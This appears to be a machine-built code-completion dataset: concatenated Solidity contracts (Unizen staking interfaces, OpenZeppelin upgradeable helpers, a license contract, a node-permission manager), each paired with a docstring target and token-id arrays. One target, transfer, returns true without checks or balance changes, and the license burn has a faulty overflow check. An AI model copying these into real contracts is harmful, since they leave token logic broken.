function getPoolType(address _pool) external view returns (uint8);
function getPoolInfo(address _pool)
external
view
returns (SharedDataTypes.PoolData memory);
function getTimeWindows(address _pool)
external
view
returns (uint256[] memory);
function getPoolUserReceiverAddress(address _pool, address _user)
external
view
returns (string memory receiverAddress);
function getPoolUserInfo(address _pool, address _user)
external
view
returns (SharedDataTypes.FlatPoolStakerUser memory);
function getTotalPriceForPurchaseableTokens(address _pool, address _user)
external
view
returns (uint256);
/* mutating functions */
function claimAllRewards() external;
function claimReward(address _pool) external returns (bool);
function claimRewardsFor(IUZV1RewardPool[] calldata pools) external;
function payRewardAndSetNativeAddressForPool(
address _pool,
uint256 _amount,
string calldata _receiver
) external;
function payRewardPool(address _pool, uint256 _amount) external;
function createNewPool(
uint256 totalRewards,
uint256 startBlock,
uint256 endBlock,
address token,
uint8 poolType,
string memory name,
string memory blockchain,
string memory cAddress
) external returns (address);
function setNativeAddressForPool(address _pool, string calldata _receiver)
external;
/* control functions */
function setFactory(address _factory) external;
function setStaking(address _staking) external;
function emergencyWithdrawTokenFromRouter(address _token, uint256 _amount)
external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
pragma abicoder v2;
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
/**
* @title UZProAccess
* @author Unizen
* @notice Simple abstract class to add easy checks
* for pro membership access token
**/
abstract contract UZV1ProAccess is
Initializable,
OwnableUpgradeable,
PausableUpgradeable
{
// internal storage of the erc721 token
IERC721 internal _membershipToken;
function initialize(address _token) public virtual initializer {
__Ownable_init();
__Pausable_init();
_setMembershipToken(_token);
}
function membershipToken() public view returns (address) {
return address(_membershipToken);
}
/* === CONTROL FUNCTIONS === */
/**
* @dev pause smart contract
*/
function pause() public onlyOwner {
_pause();
}
/**
* @dev unpause smart contract
*/
function unPause() public onlyOwner {
_unpause();
}
/**
* @dev Allows the owner of the contract, to update
* the used membership token
* @param _newToken address of the new erc721 token
**/
function setMembershipToken(address _newToken) public onlyOwner {
_setMembershipToken(_newToken);
}
function _setMembershipToken(address _newToken) internal {
if (_newToken == address(0) && address(_membershipToken) == address(0))
return;
require(_newToken != address(_membershipToken), "SAME_ADDRESS");
_membershipToken = IERC721(_newToken);
}
/**
* @dev Internal function that checks if the users has any
* membership tokens. Reverts, if none is found.
* @param _user address of user to check
**/
function _checkPro(address _user) internal view {
if (address(_membershipToken) != address(0)) {
require(
_membershipToken.balanceOf(_user) > 0,
"FORBIDDEN: PRO_MEMBER"
);
}
}
/* === MODIFIERS === */
modifier onlyPro(address _user) {
_checkPro(_user);
_;
}
/* === EVENTS === */
event MembershipTokenUpdated(address _newTokenAddress);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | * @dev Returns whether the pool is currently active @return bool active status of pool/ | function isPoolActive() public view virtual override returns (bool) {
return (block.number >= _poolData.startBlock &&
block.number <= _poolData.endBlock);
}
| 6,009,655 | [
1,
1356,
2856,
326,
2845,
353,
4551,
2695,
327,
1426,
2695,
1267,
434,
2845,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
353,
2864,
3896,
1435,
1071,
1476,
5024,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
327,
261,
2629,
18,
2696,
1545,
389,
6011,
751,
18,
1937,
1768,
597,
203,
5411,
1203,
18,
2696,
1648,
389,
6011,
751,
18,
409,
1768,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0xb0D299d01bBD2fb20A52E315c768C88C44256d92/sources/ProofOfHumanity.sol | The meta evidence to be used in disputes.
| uint96 metaEvidenceUpdates; | 3,440,383 | [
1,
1986,
2191,
14481,
358,
506,
1399,
316,
1015,
458,
281,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
10525,
2191,
30465,
5121,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.20;
contract hurra {
/* This creates an array with all licenses */
mapping (address => uint256) public licensesOf; // all customer that have or had have a license
address owner; // Creator of this contract
/* Initializes contract with maximum number of licenses to the creator of the contract */
constructor (uint256 maxLicenses ) public {
licensesOf[msg.sender] = maxLicenses; // Initial give the creator all licenses
owner = msg.sender; // creator is owner
}
/* Transfer license to customer account */
/* Later, this function can be only called by creator of contract */
function transfer(address _to, uint256 _value) public returns (bool success) {
require(msg.sender == owner); // only oner is allowed to call this function
require(licensesOf[msg.sender] >= _value); // Check if the sender has enough
require(licensesOf[_to] + _value >= licensesOf[_to]); // Check for overflows
licensesOf[msg.sender] -= _value; // Subtract from owner
licensesOf[_to] += _value; // Add the same to the recipient
return true;
}
/* Burn license from customer account */
/* Later, this function can be only called by creator of contract */
function burn(address _from, uint256 _value) public returns (bool success) {
require(msg.sender == owner); // only oner is allowed to call this function
require(licensesOf[_from] >= _value); // Check if the sender has enough
require(licensesOf[msg.sender] + _value >= licensesOf[_from]); // Check for overflows
licensesOf[msg.sender] += _value; // add to owner
licensesOf[_from] -= _value; // subtract from customer
return true;
}
function deleteThisContract() public {
require(msg.sender == owner); // only oner is allowed to call this function
selfdestruct(msg.sender); // destroy contract and send ether back to owner
// no action allowed after this
}
} | Transfer license to customer account */ Later, this function can be only called by creator of contract */ | function transfer(address _to, uint256 _value) public returns (bool success) {
return true;
}
| 15,857,163 | [
1,
5912,
8630,
358,
6666,
2236,
342,
511,
2045,
16,
333,
445,
848,
506,
1338,
2566,
635,
11784,
434,
6835,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7412,
12,
2867,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
2216,
13,
288,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
202,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.17;
import "./PermissionsUpgradable.sol";
/** @title Node manager contract
* @notice This contract holds implementation logic for all node management
functionality. This can be called only by the implementation contract.
There are few view functions exposed as public and can be called directly.
These are invoked by quorum for populating permissions data in cache
* @dev node status is denoted by a fixed integer value. The values are
as below:
0 - Not in list
1 - Node pending approval
2 - Active
3 - Deactivated
4 - Blacklisted
5 - Blacklisted node recovery initiated. Once approved the node
status will be updated to Active (2)
Once the node is blacklisted no further activity on the node is
possible.
*/
contract NodeManager {
PermissionsUpgradable private permUpgradable;
struct NodeDetails {
string enodeId;
string ip;
uint16 port;
uint16 raftPort;
string orgId;
uint256 status;
}
// use an array to store node details
// if we want to list all node one day, mapping is not capable
NodeDetails[] private nodeList;
// mapping of enode id to array index to track node
mapping(bytes32 => uint256) private nodeIdToIndex;
// mapping of enodeId to array index to track node
mapping(bytes32 => uint256) private enodeIdToIndex;
// tracking total number of nodes in network
uint256 private numberOfNodes;
// node permission events for new node propose
event NodeProposed(string _enodeId, string _ip, uint16 _port, uint16 _raftport, string _orgId);
event NodeApproved(string _enodeId, string _ip, uint16 _port, uint16 _raftport, string _orgId);
// node permission events for node deactivation
event NodeDeactivated(string _enodeId, string _ip, uint16 _port, uint16 _raftport, string _orgId);
// node permission events for node activation
event NodeActivated(string _enodeId, string _ip, uint16 _port, uint16 _raftport, string _orgId);
// node permission events for node blacklist
event NodeBlacklisted(string _enodeId, string _ip, uint16 _port, uint16 _raftport, string _orgId);
